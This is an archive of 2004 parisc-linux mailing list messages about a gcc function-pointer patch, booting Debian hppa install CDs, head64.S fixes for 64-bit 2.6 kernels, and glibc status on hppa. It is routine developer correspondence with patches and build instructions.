List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 31 Jan 2004 22:28:10 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20748


jda,

The following patch is required in gcc to add another byte check for the
new TRAMPOLINE_TEMPLATE that has profile fixes added in glibc 2.3.2.
I've added comments in glibc to indicate that TRAMPOLINE_TEMPLATE
changes are bad things to do. AFAIK this is the last change *ever* since
we now have working profile support :)

I'm not quite sure what the "-4" is intended to accomplish, I figure I
could have prefixed the TREAMPOLINE_TEMPLATE with another jump that
gives the right address? That still makes for an extra jump, and I'd
rather have gcc just look in the right place first.

Thoughts on this?

c.


2004-01-31  Carlos O'Donell  <carlos@baldric.uwo.ca>

	* gcc/config/pa/fptr.c (__canonicalize_funcptr_for_compare): Add
	extra offset check for new glibc TRAMPOLINE_TEMPLATE.

Index: gcc/config/pa/fptr.c
===================================================================
RCS file: /cvs/gcc/gcc/gcc/config/pa/fptr.c,v
retrieving revision 1.2
diff -u -p -r1.2 fptr.c
--- gcc/config/pa/fptr.c	9 Dec 2002 19:16:14 -0000	1.2
+++ gcc/config/pa/fptr.c	31 Jan 2004 22:18:27 -0000
@@ -35,7 +35,7 @@ Boston, MA 02111-1307, USA.  */
    the template should it be necessary to change the current branch
    position.  */
 #define NOFFSETS 2
-static int fixup_branch_offset[NOFFSETS] = { 32, -4 };
+static int fixup_branch_offset[NOFFSETS] = { 36, 32, -4 };
 
 #define GET_FIELD(X, FROM, TO) \
   ((X) >> (31 - (TO)) & ((1 << ((TO) - (FROM) + 1)) - 1))


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] UNable to boot the cd.
Date: Sun, 1 Feb 2004 04:46:01 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <8BF7471D09AA9B4190A9C96778BC2A1748D21C@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623165 5310 80.91.229.3 (22 Nov 2014 02:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:05 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: asifayaz@hp.com  Sat Jan 31 16:16:11 2004
Return-Path: <asifayaz@hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zmamail05.zma.compaq.com (zmamail05.zma.compaq.com
	[161.114.64.105])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4BE6C488D
	for <parisc-linux@parisc-linux.org>;
	Sat, 31 Jan 2004 16:16:11 -0700 (MST)
Original-Received: from sgpexg12.asiapacific.cpqcorp.net
	(sgpexg12.asiapacific.cpqcorp.net [16.149.1.59])
	by zmamail05.zma.compaq.com (Postfix) with ESMTP id 46612FDD6
	for <parisc-linux@parisc-linux.org>;
	Sat, 31 Jan 2004 18:16:04 -0500 (EST)
Original-Received: from qcaexc02.asiapacific.cpqcorp.net ([16.180.237.27]) by
	sgpexg12.asiapacific.cpqcorp.net with Microsoft SMTPSVC(6.0.3790.0); 
	Sun, 1 Feb 2004 07:16:02 +0800
X-MIMEOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: UNable to boot the cd. 
Thread-Index: AcPoUDFDhUBYxwVZTDSFbMfBdQ+QsQ==
X-OriginalArrivalTime: 31 Jan 2004 23:16:02.0958 (UTC)
	FILETIME=[31F392E0:01C3E850]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 31 Jan 2004 23:16:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20749


Hello .=20
I have downloaded  the  iso images   from =
ftp.de.debian.org/debian-cd/3.0_r0/hppa  and made a bootable cd of the =
image.. All I  did  is to search for ipl from the PDC main menu. but it =
doesnt show the cdrom as an ipl device.=20

Another thing I have obeserved is  I found the file ipl in one of the =
install directory. I wonder if this is the process of creating a =
bootable cd.=20

Can you please help me to make the box bootable. I'm testing this on a A =
class server !!=20

I have gone through the PA-RISC-Linux-Boot-HOWTO.html  as well !!=20



Thanks & Regards,
Asif Ayaz=20
Solution Center Engineer
Enterprise Solution Center
Asia Pacific Southern Hub - HP Services
Email ID : asifayaz@hp.com

"The significant problems we face cannot be solved by the same level of =
thinking that created them." - Albert Einstein=20





From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] About 2.6 64bit on b2k?
Date: Sun, 01 Feb 2004 00:40:51 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <401C4B13.3060906@tiscali.be>
References: <400CB8A1000070BA@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623165 5314 80.91.229.3 (22 Nov 2014 02:26:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sat Jan 31 17:38:33 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BD4848A2
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jan 2004 17:38:33 -0700 (MST)
Original-Received: from [62.235.121.203] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1An5dA-000361-3x; Sun, 01 Feb 2004 01:38:32 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <400CB8A1000070BA@ocpmta3.freegates.net>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 01 Feb 2004 00:38:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20750

Hi all,

About this :
> 
> Sorry for auto-reply but my suspicious was right: I just revert this patch:
> ===================================================================
> RCS file: /var/lib/cvs/linux-2.5/arch/parisc/kernel/head64.S,v
> retrieving revision 1.1.2.1
> retrieving revision 1.1.2.2
> diff -u -r1.1.2.1 -r1.1.2.2
> --- linux-2.5/arch/parisc/kernel/head64.S	2002/12/24 22:15:01	1.1.2.1
> +++ linux-2.5/arch/parisc/kernel/head64.S	2003/01/14 13:08:03	1.1.2.2
> @@ -176,7 +176,9 @@
>  #endif /* CONFIG_SMP */
>  
>  	/* Save the rfi target address */
> -	std		%r11,  TASK_PT_GR11-TASK_SZ_ALGN(%sp)
> +	ldo		-THREAD_SZ_ALGN(%sp), %r1
> +	ldd		TI_TASK(%r1), %r1
> +	std		%r11,  TASK_PT_GR11(%r1)
>  
>  #ifndef CONFIG_PDC_NARROW
>  	/* Switch to wide mode; Superdome doesn't support narrow PDC
> @@ -206,7 +208,9 @@
>  
>  stext_pdc_ret:
>  	/* restore rfi target address*/
> -	ldd		TASK_PT_GR11-TASK_SZ_ALGN(%sp), %r11
> +	ldo		-THREAD_SZ_ALGN(%sp), %r1
> +	ldd		TI_TASK(%r1), %r1
> +	ldd		TASK_PT_GR11(%r1), %r11
>  
>  	/* PARANOID: clear user scratch/user space SR's */
>  	mtsp	%r0,%sr0
> @@ -310,7 +314,7 @@
>  	load32		PA(smp_init_current_idle_task),%sp
>  	ldd		0(%sp),%sp	/* load task address */
>  	mtctl           %sp,%cr30       /* store in cr30 */
> -	ldo             TASK_SZ_ALGN(%sp),%sp
> +	ldo             THREAD_SZ_ALGN(%sp),%sp
>  	tophys_r1       %sp
>  
>  	/* point CPU to kernel page tables */
> =========><=========
> 
> and now it boots well but I am very not able to fix it correctly :(.
> 
> hth.
> 
I don't understand why it works on c3k and not on b2k. Could it be because by b2k has only 256k of physical ram?

Also, I notice that in head64.S there aren't .import like:
[snip]
         .import init_thread_union,data
         .import $global$                /* forward declaration */
         .import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
         .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */

[snip]

as in its 32bit brother head.S

I don't yet find the meaning of '.import' but just in case ;)

hth,
	Joel


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] UNable to boot the cd.
Date: Sat, 31 Jan 2004 21:52:09 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20040201045209.GB3730@colo.lackof.org>
References: <8BF7471D09AA9B4190A9C96778BC2A1748D21C@qcaexc02.asiapacific.cpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623166 5316 80.91.229.3 (22 Nov 2014 02:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "AYAZ, MOHAMMED ASIF" <asifayaz@hp.com>
Original-X-From: grundler@lackof.org  Sat Jan 31 21:52:10 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id A7F614840
	for <parisc-linux@parisc-linux.org>;
	Sat, 31 Jan 2004 21:52:10 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id E0FCA29804B; Sat, 31 Jan 2004 21:52:09 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03582-07; Sat, 31 Jan 2004 21:52:09 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 32EB9298044; Sat, 31 Jan 2004 21:52:09 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <8BF7471D09AA9B4190A9C96778BC2A1748D21C@qcaexc02.asiapacific.cpqcorp.net>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 01 Feb 2004 04:52:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20751

On Sun, Feb 01, 2004 at 04:46:01AM +0530, AYAZ, MOHAMMED ASIF wrote:
> Hello . 
> I have downloaded  the  iso images from
> ftp.de.debian.org/debian-cd/3.0_r0/hppa
> and made a bootable cd of the image..

Can you elaborate (give precise steps) on how you accomplished this?
The ISO images are "raw" files. ie burn them bit-for-bit to the CD.
On a linux box, use
	cdrecord -v dev=0,0,0 -data debian-30r0-hppa-binary-1.iso

where "0,0,0" matches the output from "cdrecord -scanbus".


> All I  did  is to search for ipl from the PDC main menu. but it
> doesnt show the cdrom as an ipl device. 

It will show up. If you absolutely can't get this work,
start thinking about doing a bootp/net install.

> I'm testing this on a A class server !! 

Which one? A180 or A500?
It doesn't really matter since palo is "smart" and will pick
the right kernel (32 vs 64 bit). I'm just curious.

grant


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] About 2.6 64bit on b2k?
Date: Sat, 31 Jan 2004 22:00:43 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20040201050043.GC3730@colo.lackof.org>
References: <400CB8A1000070BA@ocpmta3.freegates.net>
	<401C4B13.3060906@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623166 5319 80.91.229.3 (22 Nov 2014 02:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: grundler@lackof.org  Sat Jan 31 22:00:45 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id E771F4857
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 31 Jan 2004 22:00:44 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 70F0329804B; Sat, 31 Jan 2004 22:00:44 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 03959-03; Sat, 31 Jan 2004 22:00:43 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B3524298044; Sat, 31 Jan 2004 22:00:43 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <401C4B13.3060906@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 01 Feb 2004 05:00:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20752

On Sun, Feb 01, 2004 at 12:40:51AM +0000, Joel Soete wrote:
> I don't understand why it works on c3k and not on b2k.
> Could it be because by b2k has only 256k of physical ram?

No. And you meant 256MB.
But c3k and b2k both supported the same DIMMs originally (128 and 256MB
DIMMS). Minimum mem possible was thus 128MB and I thought 256MB was
the minimum shipped with each box.

Sorry - I don't know why reverting that diff matters.

> Also, I notice that in head64.S there aren't .import like:
> [snip]
>         .import init_thread_union,data
>         .import $global$                /* forward declaration */
>         .import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
>         .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
> [snip]
> 
> as in its 32bit brother head.S

head64.S only runs wide mode on PA20 HW.
No need for any PA11 or narrow mode code.
Look in the Makefile and see when head64.o is linked in.
Then you'll *SMACK* yourself on the forehead and say "DOH!" :^)


> I don't yet find the meaning of '.import' but just in case ;)

AFAIK, it's just telling the assembler where to expect global symbols.

grant


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] About 2.6 64bit on b2k?
Date: Sun, 01 Feb 2004 12:18:49 +0000
Lines: 60
Approved: news@gmane.org
Message-ID: <401CEEA9.3030500@tiscali.be>
References: <400CB8A1000070BA@ocpmta3.freegates.net>
	<401C4B13.3060906@tiscali.be>
	<20040201050043.GC3730@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623166 5325 80.91.229.3 (22 Nov 2014 02:26:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: soete.joel@tiscali.be  Sun Feb  1 05:16:31 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5D8B488D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Feb 2004 05:16:30 -0700 (MST)
Original-Received: from [62.235.123.30] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AnGWb-0005AS-E2; Sun, 01 Feb 2004 13:16:29 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040201050043.GC3730@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 01 Feb 2004 12:16:31 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20753

HI Grant,


Grant Grundler wrote:
> On Sun, Feb 01, 2004 at 12:40:51AM +0000, Joel Soete wrote:
> 
>>I don't understand why it works on c3k and not on b2k.
>>Could it be because by b2k has only 256k of physical ram?
> 
> 
> No. And you meant 256MB.
Oops yes :)

> But c3k and b2k both supported the same DIMMs originally (128 and 256MB
> DIMMS). Minimum mem possible was thus 128MB and I thought 256MB was
> the minimum shipped with each box.
> 
> Sorry - I don't know why reverting that diff matters.
> 
Not more, I will try to objdump the two head64.o and see what the diff?

> 
>>Also, I notice that in head64.S there aren't .import like:
>>[snip]
>>        .import init_thread_union,data
>>        .import $global$                /* forward declaration */
>>        .import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
>>        .import fault_vector_20,code    /* IVA parisc 2.0 32 bit */
>>[snip]
>>
>>as in its 32bit brother head.S
> 
> 
> head64.S only runs wide mode on PA20 HW.
> No need for any PA11 or narrow mode code.
I understand that but less '.import init_thread_union,data' when
[snip]
         /* And the stack pointer too */
         load32          PA(init_thread_union+THREAD_SZ_ALGN),%sp

[snip]
(never the less in the working 2.4 it was the same, so I trust that the problem is very well in the computed pointers?
But I don't have material right now to check ;) )
I am also curious to revert patch on the N (on which the patch works)?

> Look in the Makefile and see when head64.o is linked in.
> Then you'll *SMACK* yourself on the forehead and say "DOH!" :^)
> 
> 
> 
>>I don't yet find the meaning of '.import' but just in case ;)
> 
> 
> AFAIK, it's just telling the assembler where to expect global symbols.
> 
> grant
> 
Many thanks,
	Joel


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: [parisc-linux-cvs] linux-2.6 carlos
Date: Sun, 1 Feb 2004 12:05:40 -0800
Lines: 34
Approved: news@gmane.org
Message-ID: <20040201200540.GG959@tausq.org>
References: <400CB8A100006ED8@ocpmta3.freegates.net>
	<400CB8A1000070BA@ocpmta3.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623167 5327 80.91.229.3 (22 Nov 2014 02:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: randolph@tausq.org  Sun Feb  1 11:11:57 2004
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04A50488D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Feb 2004 11:11:57 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 80DF2CD28A; Sun,  1 Feb 2004 12:05:40 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <400CB8A1000070BA@ocpmta3.freegates.net>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 01 Feb 2004 18:11:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20754

> Sorry for auto-reply but my suspicious was right: I just revert this patch:

can you try this one instead?

randolph

Index: arch/parisc/kernel/head64.S
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/head64.S,v
retrieving revision 1.3
diff -u -p -r1.3 head64.S
--- arch/parisc/kernel/head64.S 17 Jan 2004 15:00:32 -0000      1.3
+++ arch/parisc/kernel/head64.S 1 Feb 2004 18:09:13 -0000
@@ -165,8 +165,7 @@ common_stext:
 #endif /* CONFIG_SMP */

        /* Save the rfi target address */
-       ldo             -THREAD_SZ_ALGN(%sp), %r1
-       ldd             TI_TASK(%r1), %r1
+       ldd             TI_TASK-THREAD_SZ_ALGN(%sp), %r1
        std             %r11,  TASK_PT_GR11(%r1)

 #ifndef CONFIG_PDC_NARROW
@@ -301,7 +300,8 @@ smp_slave_stext:

        /*  Initialize the SP - monarch sets up smp_init_current_idle_task */
        load32          PA(smp_init_current_idle_task),%sp
-       ldd             0(%sp),%sp      /* load task address */
+       ldd             0(%sp),%sp      /* load thread_info address */
+       ldd             TASK_THREAD_INFO(%sp), %sp
        mtctl           %sp,%cr30       /* store in cr30 */
        ldo             THREAD_SZ_ALGN(%sp),%sp
        tophys_r1       %sp


From - Thu Nov 08 21:30:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Update] glibc 2.3.2 bug free on hppa.
Date: Sun, 1 Feb 2004 18:08:45 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <20040201230839.GA10328@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623167 5331 80.91.229.3 (22 Nov 2014 02:26:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Sun Feb  1 16:18:33 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A209248AC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  1 Feb 2004 16:18:33 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1AnQhp-0003DX-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 01 Feb 2004 18:08:45 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 01 Feb 2004 23:18:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20755


pa,

As of today the last glibc bug was fixed:

- Statically linked executable SIGSEGV's when calling dlopen. (FIXED)

As far as I'm concerned glibc has zero bugs, not counting the fact that
we don't yet have a long double implementation.

I know the gentoo crowd is always interested in the lastest set of
patches, so here goes:

http://www.parisc-linux.org/~carlos/glibc-hppa-patches-2004-02-01.tar.gz

At the moment you need a patched gcc in order to build a correct
userspace, I'm trying to fix this so you don't have to:

http://www.parisc-linux.org/~carlos/gcc-3.3.2-fptr.diff

Lite-Recipe for running test-suite:
(a) Download gcc 3.3.2 source.
(b) Patch with fptr.diff from above.
(c) Build gcc 3.3.2
(d) Download glibc cvs head.
(e) Patch with glibc patches from above.
(f) Build glibc with the gcc from (c).
(g) Run glibc testsuite "make -k check" using gcc from (c).
(h) Look for errors "grep 'Error' test-result.log"

I'll start focusing most of my time fixing gdb now :)

Background tasks:

- debian-glibc support.
- Send glibc patches upstream.

I'll be looking for a helper if someone wants to look into new
regressions as they arrive? Usually just building upstream with the
above patches, and checking that we didn't regress is good enough.
I imagine I could automate that... or rather someone else could? :)

